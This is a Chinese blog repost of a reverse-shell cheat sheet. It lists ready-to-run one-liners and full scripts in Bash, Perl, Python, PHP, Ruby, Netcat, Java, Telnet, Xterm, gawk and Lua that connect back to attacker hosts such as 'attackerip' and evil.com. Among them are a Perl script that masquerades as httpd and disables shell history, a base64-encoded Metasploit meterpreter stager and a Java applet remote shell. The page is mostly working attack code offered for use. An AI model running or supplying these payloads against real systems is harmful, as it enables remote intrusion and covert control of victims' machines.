您的位置:首页 > 运维架构 > Shell

反弹shell

2015-04-03 11:39 246 查看


各种反弹shell的方式 - R00tGrok

时间 2014-04-06 23:27:00 博客园精华区原文 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

[前言:在乌云社区看到反弹shell的几种姿势,考虑到乌云社区不完全对外开放,干脆自己转一下以作分享,另外还收集了点其他的,应该较为全面]

0x01 Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

这里shell由bash解析,有时候是由sh解析,不一定百发百中

gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上还有一种不同的方法,评论中也有一些想法:

###$ nc -l -p 8080 -vvv
$ exec 5<>/dev/tcp/evil.com/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done

另外还可以是:

exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

/bin/bash  -i > /dev/tcp/attackerip/8080 0<&1 2>&1

0x02 Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


不依赖于/bin/sh的shell:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


系统运行windows时:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


再给出一个完整的Perl的反弹脚本:
1 #!/usr/bin/perl -w
2 # perl-reverse-shell - A Reverse Shell implementation in PERL

3 use strict;
4 use Socket;
5 use FileHandle;
6 use POSIX;
7 my $VERSION = "1.0";
8
9 # Where to send the reverse shell.  Change these.
10 my $ip = '127.0.0.1';
11 my $port = 1234;
12
13 # Options
14 my $daemon = 1;
15 my $auth   = 0; # 0 means authentication is disabled and any
16         # source IP can access the reverse shell
17 my $authorised_client_pattern = qr(^127\.0\.0\.1$);
18
19 # Declarations
20 my $global_page = "";
21 my $fake_process_name = "/usr/sbin/apache";
22
23 # Change the process name to be less conspicious
24 $0 = "[httpd]";
25
26 # Authenticate based on source IP address if required
27 if (defined($ENV{'REMOTE_ADDR'})) {
28     cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
29
30     if ($auth) {
31         unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
32             cgiprint("ERROR: Your client isn't authorised to view this page");
33             cgiexit();
34         }
35     }
36 } elsif ($auth) {
37     cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
38     cgiexit(0);
39 }
40
41 # Background and dissociate from parent process if required
42 if ($daemon) {
43     my $pid = fork();
44     if ($pid) {
45         cgiexit(0); # parent exits
46     }
47
48     setsid();
49     chdir('/');
50     umask(0);
51 }
52
53 # Make TCP connection for reverse shell
54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
56     cgiprint("Sent reverse shell to $ip:$port");
57     cgiprintpage();
58 } else {
59     cgiprint("Couldn't open reverse shell to $ip:$port: $!");
60     cgiexit();
61 }
62
63 # Redirect STDIN, STDOUT and STDERR to the TCP connection
64 open(STDIN, ">&SOCK");
65 open(STDOUT,">&SOCK");
66 open(STDERR,">&SOCK");
67 $ENV{'HISTFILE'} = '/dev/null';
68 system("w;uname -a;id;pwd");
69 exec({"/bin/sh"} ($fake_process_name, "-i"));
70
71 # Wrapper around print
72 sub cgiprint {
73     my $line = shift;
74     $line .= "<p>\n";
75     $global_page .= $line;
76 }
77
78 # Wrapper around exit
79 sub cgiexit {
80     cgiprintpage();
81     exit 0; # 0 to ensure we don't give a 500 response.
82 }
83
84 # Form HTTP response using all the messages gathered by cgiprint so far
85 sub cgiprintpage {
86     print "Content-Length: " . length($global_page) . "\r
87 Connection: close\r
88 Content-Type: text\/html\r\n\r\n" . $global_page;
89 }


0x03 Python #测试环境为Linux Python2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


只用一行的形式:#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]还有其他一行解决的代码
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"


另外Metasploit版的代码:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))


0x04 PHP #代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


[https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]为一个上传的完整php反弹shell脚本

0x05 Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


当然还有我们很熟悉的MSF模块里面也是有反弹shell的:
#!/usr/bin/env ruby

require 'socket'
require 'open3'

#Set the Remote Host IP
RHOST = "192.168.1.10"
#Set the Remote Host Port
PORT = "6667"

#Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
sleep 20
retry
end

#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end


0x06 NetCat
nc -e /bin/sh 10.0.0.1 1234  #不同版本的nc不一定支持-e选项


不能使用-e选项时:
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe

/bin/sh | nc attackerip 4444

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/


安装的NC版本有问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f


0x07 Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


msf使用为: use payload/java/shell/reverse_tcp

再见一段长代码:
import java.io.*;
import java.net.Socket;
import java.util.*;
import java.util.regex.*;
import java.applet.Applet;

public class poc extends Applet{
/**
* Author: daniel baier alias duddits
* Licens: GPL
* Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
* Version: 0.1 alpha release
*/

public String cd(String start, File currentDir) {
File fullPath = new File(currentDir.getAbsolutePath());
String sparent = fullPath.getAbsoluteFile().toString();
return sparent + "/" + start;

}

@SuppressWarnings("unchecked")
public void init() {
poc rs = new poc();
PrintWriter out;
try {
Socket clientSocket = new Socket("192.168.5.222",10003);
out = new PrintWriter(clientSocket.getOutputStream(), true);
out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");
boolean run = true;
String s;
BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
String startort = "/";
while (run) {
String z1;
File f = new File(startort);
out.println(f.getAbsolutePath() + "> ");
s = br.readLine();
z1 = s;
Pattern pcd = Pattern.compile("^cd\\s");
Matcher mcd = pcd.matcher(z1);
String[] teile1 = pcd.split(z1);
if (s.equals("exit")) {
run = false;
}else if (s.equals(null) || s.equals("cmd") || s.equals("")) {

} else if(mcd.find()){
try {
String cds = rs.cd(teile1[1], new File(startort));
startort = cds;
} catch (Exception verz) {
out.println("Path " + teile1[1]
+ " not found.");
}

}else {

String z2;

z2 = s;
Pattern pstring = Pattern.compile("\\s");
String[] plist = pstring.split(z2);

try {

LinkedList slist = new LinkedList();
for (int i = 0; i < plist.length; i++) {
slist.add(plist[i]);
}

ProcessBuilder builder = new ProcessBuilder(slist);
builder.directory(new File(startort));
Process p = builder.start();
Scanner se = new Scanner(p.getInputStream());
if (!se.hasNext()) {
Scanner sa = new Scanner(p.getErrorStream());
while (sa.hasNext()) {
out.println(sa.nextLine());
}
}
while (se.hasNext()) {
out.println(se.nextLine());
}

} catch (Exception err) {
out.println(f.getAbsolutePath() + "> Command "
+ s + " failed!");
out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");
}

}
}

if(!clientSocket.isConnected()){
run = false;
out.flush();
out.close();
}

} catch (Exception io) {
//System.err.println("Connection refused by peer");
}

}

}


0x08 Telnet #nc不可用或/dev/tcp不可用时
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe


0x09 Xterm

首先开启Xserver: # TCP 6001
Xnest :1               # Note: The command starts with uppercase X


授予目标机连回来的权限:
xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server


如果想让任何人都连上:
xhost +                     # Run this INSIDE the spawned xterm on the open X Server


假设xterm已安装,连回你的Xserver:
xterm -display attackerip:1


或者:
$ DISPLAY=attackerip:0 xterm


0x10 gawk
#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}


0x11 乌云上一个lua实现
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"


msf反弹: use payload/cmd/unix/reverse_lua

0x12 参考
http://roo7break.co.uk/?p=215 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: